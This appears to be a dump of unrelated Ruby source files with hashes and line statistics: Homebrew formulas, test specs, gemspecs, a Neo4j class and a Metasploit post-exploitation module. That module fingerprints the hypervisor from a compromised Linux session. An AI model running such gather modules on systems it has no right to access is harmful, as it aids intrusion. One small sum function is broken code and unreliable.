61640be0315313e6e5a5d996106d98f4f1d827ce
464
module MITS module V4_1 class Address include SimpleObjects::Base attribute :address1 attribute :address2 attribute :city attribute :country attribute :county_name attribute :description attribute :email attribute :latitude attribute :longitude attribute :postal_code attribute :province attribute :state attribute :type attribute :unparsed_address end end end
20.173913
33
0.659483
6aae22e70cd663f1ec8bb13381387eab4866b204
4,053
## # ## This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System def initialize(info={}) super( update_info( info, 'Name' => 'Linux Gather Virtual Environment Detection', 'Description' => %q{ This module attempts to determine whether the system is running inside of a virtual environment and if so, which one. This module supports detection of Hyper-V, VMWare, VirtualBox, Xen, and QEMU/KVM.}, 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'], 'Platform' => [ 'linux' ], 'SessionTypes' => [ 'shell', 'meterpreter' ] )) end # Run Method for when run command is issued def run print_status("Gathering System info ....") vm = nil dmi_info = nil ls_pci_data = nil if is_root? dmi_info = cmd_exec("/usr/sbin/dmidecode") end # Check DMi Info if dmi_info case dmi_info when /microsoft corporation/i vm = "MS Hyper-V" when /vmware/i vm = "VMware" when /virtualbox/i vm = "VirtualBox" when /qemu/i vm = "Qemu/KVM" when /domu/i vm = "Xen" end end # Check Modules if not vm loaded_modules = cmd_exec("/sbin/lsmod") case loaded_modules.to_s.gsub("\n", " ") when /vboxsf|vboxguest/i vm = "VirtualBox" when /vmw_ballon|vmxnet|vmw/i vm = "VMware" when /xen-vbd|xen-vnif/ vm = "Xen" when /virtio_pci|virtio_net/ vm = "Qemu/KVM" when /hv_vmbus|hv_blkvsc|hv_netvsc|hv_utils|hv_storvsc/ vm = "MS Hyper-V" end end # Check SCSI Driver if not vm proc_scsi = read_file("/proc/scsi/scsi") rescue "" case proc_scsi.gsub("\n", " ") when /vmware/i vm = "VMware" when /vbox/i vm = "VirtualBox" end end # Check IDE Devices if not vm case cmd_exec("cat /proc/ide/hd*/model") when /vbox/i vm = "VirtualBox" when /vmware/i vm = "VMware" when /qemu/i vm = "Qemu/KVM" when /virtual [vc]d/i vm = "Hyper-V/Virtual PC" end end # Check using lspci if not vm case get_sysinfo[:distro] when /oracle|centos|suse|redhat|mandrake|slackware|fedora/i lspci_data = cmd_exec("/sbin/lspci") when /debian|ubuntu/ lspci_data = cmd_exec("/usr/bin/lspci") else lspci_data = cmd_exec("lspci") end case lspci_data.to_s.gsub("\n", " ") when /vmware/i vm = "VMware" when /virtualbox/i vm = "VirtualBox" end end # Xen bus check if not vm if cmd_exec("ls -1 /sys/bus").to_s.split("\n").include?("xen") vm = "Xen" end end # Check using lscpu if not vm case cmd_exec("lscpu") when /Xen/i vm = "Xen" when /KVM/i vm = "KVM" when /Microsoft/i vm = "MS Hyper-V" end end # Check dmesg Output if not vm dmesg = cmd_exec("dmesg") case dmesg when /vboxbios|vboxcput|vboxfacp|vboxxsdt|vbox cd-rom|vbox harddisk/i vm = "VirtualBox" when /vmware virtual ide|vmware pvscsi|vmware virtual platform/i vm = "VMware" when /xen_mem|xen-vbd/i vm = "Xen" when /qemu virtual cpu version/i vm = "Qemu/KVM" when /\/dev\/vmnet/ vm = "VMware" end end if vm print_good("This appears to be a '#{vm}' virtual machine") report_vm(vm) else print_status("This does not appear to be a virtual machine") end end end
24.269461
80
0.566987
b99581eeed582d5011bb227943d832b3380fce5b
831
# For the noop suite, currently-installed and target Chef versions are equal. gem_path = '/opt/chef/embedded/bin/gem' chef_version = Gem::Version.new(ENV['CHEF_VERSION'] || '12.22.5') describe command("#{gem_path} -v") do # First version of Chef with bundled Rubygems >= 2.0.0. min_chef_version = '11.18.0' min_rubygems_version = '2.0.0' target_rubygems_version = '2.6.11' if Gem::Requirement.new(">= #{min_chef_version}").satisfied_by?(chef_version) its('stdout') { should cmp >= min_rubygems_version } else # Old Chef versions should upgrade old Rubygems to the target version. its('stdout') { should match target_rubygems_version } end end describe gem('mixlib-install', gem_path) do it { should be_installed } end describe gem('mixlib-versioning', gem_path) do it { should be_installed } end
30.777778
79
0.718412
87928d4f3383913571e972e198cb919b22b9706a
679
Pod::Spec.new do |s| s.platform = :ios s.ios.deployment_target = '10.0' s.name = "PheSyncedUser" s.summary = "PheSyncedUser creates a unique id for user and syncs it across all PHE apps." s.requires_arc = true s.version = "1.0.4" s.license = { :type => "MIT" } s.author = { "Mohamad Saeedi" => "[email protected]" } s.homepage = "https://github.com/publichealthengland/one-id-ios/" s.source = { :git => "https://github.com/publichealthengland/one-id-ios.git", :tag => "#{s.version}" } s.framework = "UIKit" s.source_files = "PheSyncedUser/**/*.{swift}" #s.resources = "PheSyncedUser/**/*.{png,jpeg,jpg,storyboard,xib,xcassets}" s.swift_version = "4.2" end
28.291667
90
0.662739
39c1ea991aef49aa66c1e1f8338066274d770374
1,569
class Boot2docker < Formula homepage "https://github.com/boot2docker/boot2docker-cli" # Boot2docker and docker are generally updated at the same time. # Please update the version of docker too url "https://github.com/boot2docker/boot2docker-cli.git", :tag => "v1.5.0", :revision => "ccd9032caf251ca63edaf3a0808456fa5d5f9057" head "https://github.com/boot2docker/boot2docker-cli.git" bottle do sha1 "9edfe7c2b3e6af2ab1fae03db849620a5eede333" => :yosemite sha1 "6fb28f39d6885f3fdcf71fde8637ec0e37c97084" => :mavericks sha1 "135046284eeae147622da8961508e18dd3578ae5" => :mountain_lion end depends_on "docker" => :recommended depends_on "go" => :build def install (buildpath + "src/github.com/boot2docker/boot2docker-cli").install Dir[buildpath/"*"] cd "src/github.com/boot2docker/boot2docker-cli" do ENV["GOPATH"] = buildpath system "go", "get", "-d" system "make", "goinstall" end bin.install "bin/boot2docker-cli" => "boot2docker" end def plist; <<-EOS.undent <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>#{plist_name}</string> <key>ProgramArguments</key> <array> <string>#{opt_bin}/boot2docker</string> <string>up</string> </array> <key>RunAtLoad</key> <true/> </dict> </plist> EOS end test do system "#{bin}/boot2docker", "version" end end
29.603774
106
0.662205
38996ba1a85166bc1b277630f19fba25d4735912
4,246
require 'rails_helper' require 'huginn_scheduler' describe HuginnScheduler do before(:each) do @rufus_scheduler = Rufus::Scheduler.new @scheduler = HuginnScheduler.new stub(@scheduler).setup {} @scheduler.setup!(@rufus_scheduler, Mutex.new) end after(:each) do @rufus_scheduler.shutdown(:wait) end it "schould register the schedules with the rufus scheduler and run" do mock(@rufus_scheduler).join scheduler = HuginnScheduler.new scheduler.setup!(@rufus_scheduler, Mutex.new) scheduler.run end it "should run scheduled agents" do mock(Agent).run_schedule('every_1h') mock.instance_of(IO).puts('Queuing schedule for every_1h') @scheduler.send(:run_schedule, 'every_1h') end it "should propagate events" do mock(Agent).receive! stub.instance_of(IO).puts @scheduler.send(:propagate!) end it "schould clean up expired events" do mock(Event).cleanup_expired! stub.instance_of(IO).puts @scheduler.send(:cleanup_expired_events!) end describe "#hour_to_schedule_name" do it "for 0h" do expect(@scheduler.send(:hour_to_schedule_name, 0)).to eq('midnight') end it "for the forenoon" do expect(@scheduler.send(:hour_to_schedule_name, 6)).to eq('6am') end it "for 12h" do expect(@scheduler.send(:hour_to_schedule_name, 12)).to eq('noon') end it "for the afternoon" do expect(@scheduler.send(:hour_to_schedule_name, 17)).to eq('5pm') end end describe "cleanup_failed_jobs!", processor: :delayed_job do before do 3.times do |i| Delayed::Job.create(failed_at: Time.now - i.minutes) end @keep = Delayed::Job.order(:failed_at)[1] end it "work with set FAILED_JOBS_TO_KEEP env variable" do expect { @scheduler.send(:cleanup_failed_jobs!) }.to change(Delayed::Job, :count).by(-1) expect { @scheduler.send(:cleanup_failed_jobs!) }.to change(Delayed::Job, :count).by(0) expect(@keep.id).to eq(Delayed::Job.order(:failed_at)[0].id) end it "work without the FAILED_JOBS_TO_KEEP env variable" do old = ENV['FAILED_JOBS_TO_KEEP'] ENV['FAILED_JOBS_TO_KEEP'] = nil expect { @scheduler.send(:cleanup_failed_jobs!) }.to change(Delayed::Job, :count).by(0) ENV['FAILED_JOBS_TO_KEEP'] = old end end context "#setup_worker" do it "should return an array with an instance of itself" do workers = HuginnScheduler.setup_worker expect(workers).to be_a(Array) expect(workers.first).to be_a(HuginnScheduler) expect(workers.first.id).to eq('HuginnScheduler') end end end describe Rufus::Scheduler do before :each do Agent.delete_all @taoe, Thread.abort_on_exception = Thread.abort_on_exception, false @oso, @ose, $stdout, $stderr = $stdout, $stderr, StringIO.new, StringIO.new @scheduler = Rufus::Scheduler.new stub.any_instance_of(Agents::SchedulerAgent).second_precision_enabled { true } @agent1 = Agents::SchedulerAgent.new(name: 'Scheduler 1', options: { action: 'run', schedule: '*/1 * * * * *' }).tap { |a| a.user = users(:bob) a.save! } @agent2 = Agents::SchedulerAgent.new(name: 'Scheduler 2', options: { action: 'run', schedule: '*/1 * * * * *' }).tap { |a| a.user = users(:bob) a.save! } end after :each do @scheduler.shutdown(:wait) Thread.abort_on_exception = @taoe $stdout, $stderr = @oso, @ose end describe '#schedule_scheduler_agents' do it 'registers active SchedulerAgents' do @scheduler.schedule_scheduler_agents expect(@scheduler.scheduler_agent_jobs.map(&:scheduler_agent).sort_by(&:id)).to eq([@agent1, @agent2]) end it 'unregisters disabled SchedulerAgents' do @scheduler.schedule_scheduler_agents @agent1.update!(disabled: true) @scheduler.schedule_scheduler_agents expect(@scheduler.scheduler_agent_jobs.map(&:scheduler_agent)).to eq([@agent2]) end it 'unregisters deleted SchedulerAgents' do @scheduler.schedule_scheduler_agents @agent2.delete @scheduler.schedule_scheduler_agents expect(@scheduler.scheduler_agent_jobs.map(&:scheduler_agent)).to eq([@agent1]) end end end
28.689189
126
0.680641
618b5af296f55171a2524117306469fc35ef040c
842
# frozen_string_literal: true Gem::Specification.new do |spec| spec.name = "lagrange" spec.version = "4.0.0" spec.authors = ["Paul Le"] spec.email = ["[email protected]"] spec.summary = "A minimalist Jekyll theme for running a personal blog" spec.homepage = "https://github.com/LeNPaul/Lagrange" spec.license = "MIT" spec.files = `git ls-files -z`.split("\x0").select { |f| f.match(%r!^(assets|_layouts|_includes|_sass|LICENSE|README|CHANGELOG)!i) } spec.add_runtime_dependency "jekyll", "~> 4.2" spec.add_runtime_dependency "jekyll-feed", "~> 0.6" spec.add_runtime_dependency "jekyll-paginate", "~> 1.1" spec.add_runtime_dependency "jekyll-sitemap", "~> 1.3" spec.add_runtime_dependency "jekyll-seo-tag", "~> 2.6" spec.add_runtime_dependency "webrick" end
36.608696
142
0.65677
791904f863a94b0c726de88963e58771acfa0eb9
79
class ApplicationController < ActionController::Base protect_from_forgery end
26.333333
52
0.873418
bf8ca82c6f583f4a0f765e6673fa6ca3f811b412
998
class Kdiagram < Formula desc "Powerful libraries for creating business diagrams" homepage "https://www.kde.org" url "https://download.kde.org/stable/kdiagram/2.7.0/kdiagram-2.7.0.tar.xz" sha256 "63a2eabfa1554ceb1d686d5f17ed6308139b6d9155aaf224e0309585b070fbdd" head "git://anongit.kde.org/kdiagram.git" depends_on "cmake" => :build depends_on "KDE-mac/kde/kf5-extra-cmake-modules" => :build depends_on "ninja" => :build depends_on "qt" def install args = std_cmake_args args << "-DBUILD_TESTING=OFF" args << "-DKDE_INSTALL_QMLDIR=lib/qt5/qml" args << "-DKDE_INSTALL_PLUGINDIR=lib/qt5/plugins" mkdir "build" do system "cmake", "-G", "Ninja", "..", *args system "ninja" system "ninja", "install" prefix.install "install_manifest.txt" end end test do (testpath/"CMakeLists.txt").write <<~EOS find_package(KChart REQUIRED) find_package(KGrantt REQUIRED) EOS system "cmake", ".", "-Wno-dev" end end
27.722222
76
0.677355
7af3572f9bdbbaf040b50d04616167cfd881f389
3,140
module Neo4j::Server class CypherRelationship < Neo4j::Relationship include Neo4j::Server::Resource include Neo4j::Core::CypherTranslator include Neo4j::Core::ActiveEntity def initialize(session, value) @session = session @response_hash = value @rel_type = @response_hash['type'] @props = @response_hash['data'] @start_node_neo_id = @response_hash['start'].match(/\d+$/)[0].to_i @end_node_neo_id = @response_hash['end'].match(/\d+$/)[0].to_i @id = @response_hash['id'] end def ==(o) o.class == self.class && o.neo_id == neo_id end alias_method :eql?, :== def id @id end def neo_id id end def inspect "CypherRelationship #{neo_id}" end def load_resource if resource_data.nil? || resource_data.empty? @resource_data = @session._query_or_fail("#{match_start} RETURN n", true) # r.first_data end end def start_node_neo_id @start_node_neo_id end def end_node_neo_id @end_node_neo_id end def _start_node_id @start_node_neo_id ||= get_node_id(:start) end def _end_node_id @end_node_neo_id ||= get_node_id(:end) end def _start_node @_start_node ||= Neo4j::Node._load(start_node_neo_id) end def _end_node load_resource @_end_node ||= Neo4j::Node._load(end_node_neo_id) end def get_node_id(direction) load_resource resource_url_id(resource_url(direction)) end def get_property(key) @session._query_or_fail("#{match_start} RETURN n.`#{key}`", true) end def set_property(key,value) @session._query_or_fail("#{match_start} SET n.`#{key}` = {value}", false, {value: value}) end def remove_property(key) @session._query_or_fail("#{match_start} REMOVE n.`#{key}`") end # (see Neo4j::Relationship#props) def props if @props @props else hash = @session._query_entity_data("#{match_start} RETURN n") @props = Hash[hash['data'].map{ |k, v| [k.to_sym, v] }] end end # (see Neo4j::Relationship#props=) def props=(properties) @session._query_or_fail("#{match_start} SET n = { props }", false, {props: properties}) properties end # (see Neo4j::Relationship#update_props) def update_props(properties) return if properties.empty? q = "#{match_start} SET " + properties.keys.map do |k| "n.`#{k}`= #{escape_value(properties[k])}" end.join(',') @session._query_or_fail(q) properties end def rel_type @rel_type.to_sym end def del @session._query("#{match_start} DELETE n").raise_unless_response_code(200) end alias_method :delete, :del alias_method :destroy, :del def exist? response = @session._query("#{match_start} RETURN n") # binding.pry (response.data.nil? || response.data.empty?) ? false : true end private def match_start(identifier = 'n') "MATCH (node)-[#{identifier}]-() WHERE ID(#{identifier}) = #{neo_id}" end end end
23.787879
96
0.617834
1122cdbfbfb5dc1fd9d2317dc7c287e0e59e2963
104
def sum(num) num.to_s.split.sum end puts sum(23) == 5 puts sum(496) == 19 puts sum(123_456_789) == 45
14.857143
27
0.663462
1c5eebdfbe31f091592374131c3e38339cb5b8cf
124
require 'test_helper' class SimulationTest < ActiveSupport::TestCase # test "the truth" do # assert true # end end
15.5
46
0.709677
62a08bca5a619ab666e5830a6a57824445bf97be
4,938
require 'panoptimon/util/string-with-as_number' class Array; def to_h; Hash[self]; end; end module Panoptimon module Collector class HAProxy attr_reader :collector, :stats_url def initialize(options={}) url = options[:stats_url] || '/var/run/haproxy.sock' @stats_url = url.sub(%r{^socket:/}, '') # slash after bare hostname:port @stats_url += '/' if @stats_url =~ %r{^https?://[^/]+$} @collector = @stats_url !~ %r{^\w+://} \ ? :stats_from_sock : :stats_from_http end def info it = self.class.send(collector, stats_url) out = { uptime_sec: it[:info][:uptime_sec] || self.class._dhms_as_sec(it[:info][:uptime]), status: it[:stats].values.reduce({}) {|c,v| v.values.each {|h| s = h[:status].downcase.gsub(/ /, '_') c[s] ||= 0; c[s] += 1 } c }, _info: { status: [:FRONTEND, :BACKEND].map {|s| [s, it[:stats][s].map {|n,v| [n, v[:status].downcase]}.to_h] }.to_h, }.merge([:version]. map {|k| [k, it[:info][k]]}.to_h), }.merge( [:process_num, :pid, :nbproc, :run_queue, :tasks]. map {|k| [k, it[:info][k]]}.to_h) end def self._dhms_as_sec(dhms) f = {'d' => 24*60**2, 'h' => 60**2, 'm' => 60, 's' => 1} s = 0; dhms.split(/(d|h|m|s) ?/).reverse.each_slice(2) {|p| (k, v) = p s += v.to_i * f[k] } return s end def self.stats_from_sock(path) { stats: _parse_stats_csv( _sock_get(path, 'show stat') ), info: _parse_show_info( _sock_get(path, 'show info') ) } end def self.stats_from_http(uri) # NOTE uri is expected to have trailing slash if needed { stats: _parse_stats_csv( _http_get(uri + ';csv').split(/\n/) ), info: _parse_html_info( _http_get(uri) ) } end def self._parse_html_info(body) body =~ %r{General\sprocess\sinformation</[^>]+> (.*?Running\stasks:\s\d+/\d+)<}xm or raise "body: #{body} does not match expectations" p = $1 info = {} # TODO proper dishtml? p.gsub!(%r{\s+}, ' ') p.gsub!(%r{<br>}, "\n") p.gsub!(%r{<[^>]+>}, '') p.gsub!(%r{ +}, ' ') { # harvest some numbers pid: %r{pid =\s+(\d+)}, process_num: %r{process #(\d+)}, nbproc: %r{nbproc = (\d+)}, uptime: %r{uptime = (\d+d \d+h\d+m\d+s)}, memmax_mb: %r{memmax = (unlimited|\d+)}, :'ulimit-n' => %r{ulimit-n = (\d+)}, maxsock: %r{maxsock = (\d+)}, maxconn: %r{maxconn = (\d+)}, maxpipes: %r{maxpipes = (\d+)}, currcons: %r{current conns = (\d+)}, pipesused: %r{current pipes = (\d+)/\d+}, pipesfree: %r{current pipes = \d+/(\d+)}, run_queue: %r{Running tasks: (\d+)/\d+}, tasks: %r{Running tasks: \d+/(\d+)}, }.each {|k,v| got = p.match(v) or raise "no match for #{k} (#{v})" info[k] = got[1].as_number || got[1] } info[:memmax_mb] = 0 if info[:memmax_mb] == 'unlimited' vi = body.match(%r{<body>.*?>([^<]+)\ version\ (\d+\.\d+\.\d+), \ released\ (\d{4}/\d{2}/\d{2})}x) or raise "failed to find version info" info.merge!( name: vi[1], version: vi[2], release_date: vi[3] ) return info end def self._http_get(uri) require 'net/http' uri = URI(uri) res = ::Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https' ).request(::Net::HTTP::Get.new(uri.request_uri)) raise "error: #{res.code} #{res.message}" unless res.is_a?(::Net::HTTPSuccess) return res.body end def self._parse_show_info(lines) Hash[lines.map {|l| (k,v) = * l.chomp.split(/:\s+/, 2); k or next [k.downcase.to_sym, v.as_number || v]} ] end def self._parse_stats_csv(lines) head = lines.shift.chomp.sub(/^# /, '') or raise "no header row?" hk = head.split(/,/).map {|k| k.to_sym}; hk.shift(2) imax = hk.length - 1 h = Hash.new {|hash,key| hash[key] = {}} lines.each {|l| f = l.chomp.split(/,/) (n,s) = f.shift(2) h[s.to_sym][n] = Hash[(0..imax).map {|i| [hk[i], (f[i].nil? or f[i] == "") ? nil : f[i].as_number || f[i]]}] } return h end def self._sock_get(path, cmd) require "socket" stat_socket = UNIXSocket.new(path) stat_socket.puts(cmd) stat_socket.readlines end end end end
32.92
73
0.466181
87615de71d479ac0efac1f7773439ee700934753
1,338
# # Copyright (C) Business Learning Incorporated (www.businesslearninginc.com) # Use of this source code is governed by an MIT-style license, details of # which can be found in the project LICENSE file # module ClientConfig # --------------------------------------------------------------------------- # enable (1) or disable (0) application logging # # NOTE: passing in 2 sets logging to STDOUT (useful when debugging or # running as daemon) # LOGGING = 2 # --------------------------------------------------------------------------- # logging filename # # ignored if LOGGING == 0 # LOG_FILENAME = 'dms_client.log'.freeze # --------------------------------------------------------------------------- # location of logfile (full path) # # by default, this is in the local folder (e.g., # /etc/distributed_motion_surveillance/dms_client) # # ignored if LOGGING == 0 # LOG_LOCATION = File.expand_path(File.dirname(__FILE__)) # --------------------------------------------------------------------------- # ip, port on which the dms server is running # SERVER_IP = 'localhost'.freeze SERVER_PORT = 1965 # --------------------------------------------------------------------------- # interval (in seconds) for client to check server for motion state # CHECK_INTERVAL = 15 end
30.409091
79
0.494021
9125fe2498d48c6e33b46e3b86c162f909e0b050
577
Rails.application.routes.draw do get "/api/v1/get_articles", to: "api/v1/articles#index" get "/api/v1/get_articles/:id", to: "api/v1/articles#show" post "/api/v1/login", to: "api/v1/sessions#create" post "/api/v1/signup", to: "api/v1/users#create" delete "/api/v1/logout", to: "api/v1/sessions#destroy" get "/api/v1/get_current_user", to: "api/v1/sessions#get_current_user" namespace :api do namespace :v1 do resources :users, only: [:create] resources :articles, only: [:index, :show] resources :favorites, only: [:create] end end end
38.466667
72
0.674177
ed35739e057289c6134bccad37b6480fba7034c3
330
class CreateGuests < ActiveRecord::Migration[6.1] def change create_table :guests do |t| t.string :email t.string :password_digest t.string :password_confirmation t.string :phone_number t.string :first_name t.string :last_name t.string :avatar t.timestamps end end end
20.625
49
0.657576
8746405824ee5c92fa16d2c28d2edebed84f82b5
1,072
# This file should contain all the record creation needed to seed the database with its default values. # The data can then be loaded with the rails db:seed command (or created alongside the database with db:setup). # # Examples: # # movies = Movie.create([{ name: 'Star Wars' }, { name: 'Lord of the Rings' }]) # Character.create(name: 'Luke', movie: movies.first) User.create!(name: "Example User", email: "[email protected]", password: "foobar", password_confirmation: "foobar", admin:true, activated:true, activated_at: Time.zone.now) 99.times do |n| name = Faker::Name.name email = "example-#{n+1}@railstutorial.org" password = "password" User.create!(name: name, email: email, password: password, password_confirmation: password, activated: true, activated_at: Time.zone.now) end users = User.order(:created_at).take(6) 50.times do content = Faker::Lorem.sentence(5) users.each { |user| user.microposts.create!(content: content) } end
32.484848
111
0.655784
bb220fef89aa113fd4d07c0dce66bdc00e20932d
6,968
# encoding: utf-8 module AssLauncher # Code partly copied from sources [FFI::Platform] module # Module provides some functional like [FFI::Platform] # Gem +ffi+ builds binary extension and decided don't use it module Platform # :nocov: OS = case RbConfig::CONFIG['host_os'].downcase when /linux/ 'linux' when /darwin/ 'darwin' when /freebsd/ 'freebsd' when /netbsd/ 'netbsd' when /openbsd/ 'openbsd' when /sunos|solaris/ 'solaris' when /mingw|mswin/ 'windows' else RbConfig::CONFIG['host_os'].downcase end # :nocov: # @param [String) os # @return [Boolean] # Test if current OS is +os+. def self.os?(os) OS == os end IS_CYGWIN = os?('cygwin') IS_WINDOWS = os?('windows') IS_LINUX = os?('linux') def self.cygwin? IS_CYGWIN end def self.linux? IS_LINUX end def self.windows? IS_WINDOWS end end module Support # OS-specific things # Mixin module help work with things as paths and env in other plases # @example # include AssLauncher::Support::Platforms # # if cigwin? # #do if run in Cygwin # end # # # Find env value on regex # pf = platform.env[/program\s*files/i] # return if pf.size == 0 # # # Use #path # p = platform.path(pf[0]) # p.exists? # # # Use #path_class # platform.path_class.glob('C:/*').each do |path| # path.exists? # end # # # Use #glob directly # platform.glob('C:/*').each do |path| # path.exists? # end # # module Platforms # True if run in Cygwin def cygwin? Platform.cygwin? end module_function :cygwin? # True if run in MinGW def windows? Platform.windows? end module_function :windows? # True if run in Linux def linux? Platform.linux? end module_function :linux? # Return module [Platforms] as helper # @return [Platforms] def platform AssLauncher::Support::Platforms end private :platform require 'pathname' # Return suitable class # @return [UnixPath | WinPath | CygPath] def self.path_class if cygwin? PathnameExt::CygPath elsif windows? PathnameExt::WinPath else PathnameExt::UnixPath end end # Return suitable class instance # @return [UnixPath | WinPath | CygPath] def self.path(string) path_class.new(string) end # (see PathnameExt.glob) def self.glob(p1, *args) path_class.glob(p1, *args) end # Parent for OS-specific *Path classes # @todo TRANSLATE THIS: # # rubocop:disable AsciiComments # @note # Класс предназначен для унификации работы с путями ФС в различных # ОС. # ОС зависимые методы будут переопределены в классах потомках # [UnixPath | WinPath | CygPath]. # # Пути могут приходить из следующих источников: # - из консоли - при этом в Cygwin путь вида '/cygdrive/c' будет # непонятен за пределами Cygwin # - из ENV - при этом путь \\\\host\\share будет непонятен в Unix # # Общая мысль в следующем: # - пути приводятся к mixed_path - /cygwin/c -> C:/, C:\\ -> C:/, # \\\\host\\share -> //host/share # - переопределяется метод glob класса [Pathname] при этом метод в # Cygwin будет иметь свою реализацию т.к. в cygwin # Dirname.glob('C:/') вернет пустой массив, # а Dirname.glob('/cygdrive/c') отработает правильно. # rubocop:enable AsciiComments class PathnameExt < Pathname # Override constructor for lead path to (#mixed_path) # @param string [String] - string of path def initialize(string) @raw = string.to_s.strip super mixed_path(@raw) end # This is fix (bug or featere)? of [Pathname] method. Called in # chiled clesses returns not childe class instance but returns # [Pathname] instance def +(other) self.class.new(super(other).to_s) end # Return mixed_path where delimiter is '/' # @return [String] def mixed_path(string) string.tr('\\', '/') end private :mixed_path # Return path suitable for windows apps. In Unix this method overridden # @return [String] def win_string to_s.tr('/', '\\') end # Override (Pathname.glob) method for correct work with windows paths # like a '\\\\host\\share', 'C:\\' and Cygwin paths like a '/cygdrive/c' # @param (see Pathname.glob) # @return [Array<PathnameExt>] def self.glob(p1, *args) super p1.tr('\\', '/'), *args end # Class for MinGW Ruby class WinPath < PathnameExt; end # Class for Unix Ruby class UnixPath < PathnameExt # (see PathnameExt#win_string) def win_string to_s end end # Class for Cygwin Ruby class CygPath < PathnameExt # (cee PathnameExt#mixed_path) def mixed_path(string) cygpath(string, :m) end # (see PathnameExt.glob) def self.glob(p1, *args) super cygpath(p1, :u), *args end def self.cygpath(p1, flag) fail ArgumentError, 'Only accepts :w | :m | :u flags'\ unless %w(w m u).include? flag.to_s # TODO, extract shell call into Shell module out = `cygpath -#{flag} #{p1.escape} 2>&1`.chomp fail Shell::RunError, out unless exitstatus == 0 out end # TODO, extract shell call into Shell module def self.exitstatus # rubocop:disable all fail Shell::Error, 'Unexpected $?.nil?' if $?.nil? $?.exitstatus # rubocop:enable all end private_class_method :exitstatus def cygpath(p1, flag) self.class.cygpath(p1, flag) end end end # Return suitable class # @return [UnixEnv | WinEnv | CygEnv] def self.env if cygwin? CygEnv elsif windows? WinEnv else UnixEnv end end # Wrapper for ENV in Unix Ruby class UnixEnv # Return values ENV on regex def self.[](regex) ENV.map { |k, v| v if k =~ regex }.compact end end # Wrapper for ENV in Cygwin Ruby class CygEnv < UnixEnv; end # Wrapper for ENV in MinGw Ruby class WinEnv < UnixEnv; end end end end
26.29434
80
0.547646
0108f6feae3df3daa2be5c2c5db5738f15673c76
5,072
# frozen_string_literal: true module API class GroupClusters < Grape::API include PaginationParams before { authenticate! } # EE::API::GroupClusters will # override these methods helpers do params :create_params_ee do end params :update_params_ee do end end prepend_if_ee('EE::API::GroupClusters') # rubocop: disable Cop/InjectEnterpriseEditionModule params do requires :id, type: String, desc: 'The ID of the group' end resource :groups, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do desc 'Get all clusters from the group' do success Entities::Cluster end params do use :pagination end get ':id/clusters' do authorize! :read_cluster, user_group present paginate(clusters_for_current_user), with: Entities::Cluster end desc 'Get specific cluster for the group' do success Entities::ClusterGroup end params do requires :cluster_id, type: Integer, desc: 'The cluster ID' end get ':id/clusters/:cluster_id' do authorize! :read_cluster, cluster present cluster, with: Entities::ClusterGroup end desc 'Adds an existing cluster' do success Entities::ClusterGroup end params do requires :name, type: String, desc: 'Cluster name' optional :enabled, type: Boolean, default: true, desc: 'Determines if cluster is active or not, defaults to true' optional :domain, type: String, desc: 'Cluster base domain' optional :managed, type: Boolean, default: true, desc: 'Determines if GitLab will manage namespaces and service accounts for this cluster, defaults to true' requires :platform_kubernetes_attributes, type: Hash, desc: %q(Platform Kubernetes data) do requires :api_url, type: String, allow_blank: false, desc: 'URL to access the Kubernetes API' requires :token, type: String, desc: 'Token to authenticate against Kubernetes' optional :ca_cert, type: String, desc: 'TLS certificate (needed if API is using a self-signed TLS certificate)' optional :namespace, type: String, desc: 'Unique namespace related to Group' optional :authorization_type, type: String, values: ::Clusters::Platforms::Kubernetes.authorization_types.keys, default: 'rbac', desc: 'Cluster authorization type, defaults to RBAC' end use :create_params_ee end post ':id/clusters/user' do authorize! :add_cluster, user_group user_cluster = ::Clusters::CreateService .new(current_user, create_cluster_user_params) .execute if user_cluster.persisted? present user_cluster, with: Entities::ClusterGroup else render_validation_error!(user_cluster) end end desc 'Update an existing cluster' do success Entities::ClusterGroup end params do requires :cluster_id, type: Integer, desc: 'The cluster ID' optional :name, type: String, desc: 'Cluster name' optional :domain, type: String, desc: 'Cluster base domain' optional :management_project_id, type: Integer, desc: 'The ID of the management project' optional :platform_kubernetes_attributes, type: Hash, desc: %q(Platform Kubernetes data) do optional :api_url, type: String, desc: 'URL to access the Kubernetes API' optional :token, type: String, desc: 'Token to authenticate against Kubernetes' optional :ca_cert, type: String, desc: 'TLS certificate (needed if API is using a self-signed TLS certificate)' optional :namespace, type: String, desc: 'Unique namespace related to Group' end use :update_params_ee end put ':id/clusters/:cluster_id' do authorize! :update_cluster, cluster update_service = ::Clusters::UpdateService.new(current_user, update_cluster_params) if update_service.execute(cluster) present cluster, with: Entities::ClusterGroup else render_validation_error!(cluster) end end desc 'Remove a cluster' do success Entities::ClusterGroup end params do requires :cluster_id, type: Integer, desc: 'The Cluster ID' end delete ':id/clusters/:cluster_id' do authorize! :admin_cluster, cluster destroy_conditionally!(cluster) end end helpers do def clusters_for_current_user @clusters_for_current_user ||= ClustersFinder.new(user_group, current_user, :all).execute end def cluster @cluster ||= clusters_for_current_user.find(params[:cluster_id]) end def create_cluster_user_params declared_params.merge({ provider_type: :user, platform_type: :kubernetes, clusterable: user_group }) end def update_cluster_params declared_params(include_missing: false).without(:cluster_id) end end end end
35.222222
191
0.664826
1d4b034f0f9828a12eb855601343587fa8d145f2
362
class City attr_accessor :x attr_accessor :y def initialize( x = nil, y = nil) self.x = x || rand * 200 self.y = y || rand * 200 end def distance_to( city ) x_distance = (self.x - city.x).abs y_distance = ( self.y - city.y).abs Math.sqrt( x_distance.abs2 + y_distance.abs2 ) end def to_s "#{self.x}, #{self.y}" end end
18.1
50
0.588398
28f03c32bc39fc023eed9253c148d2f54910b781
517
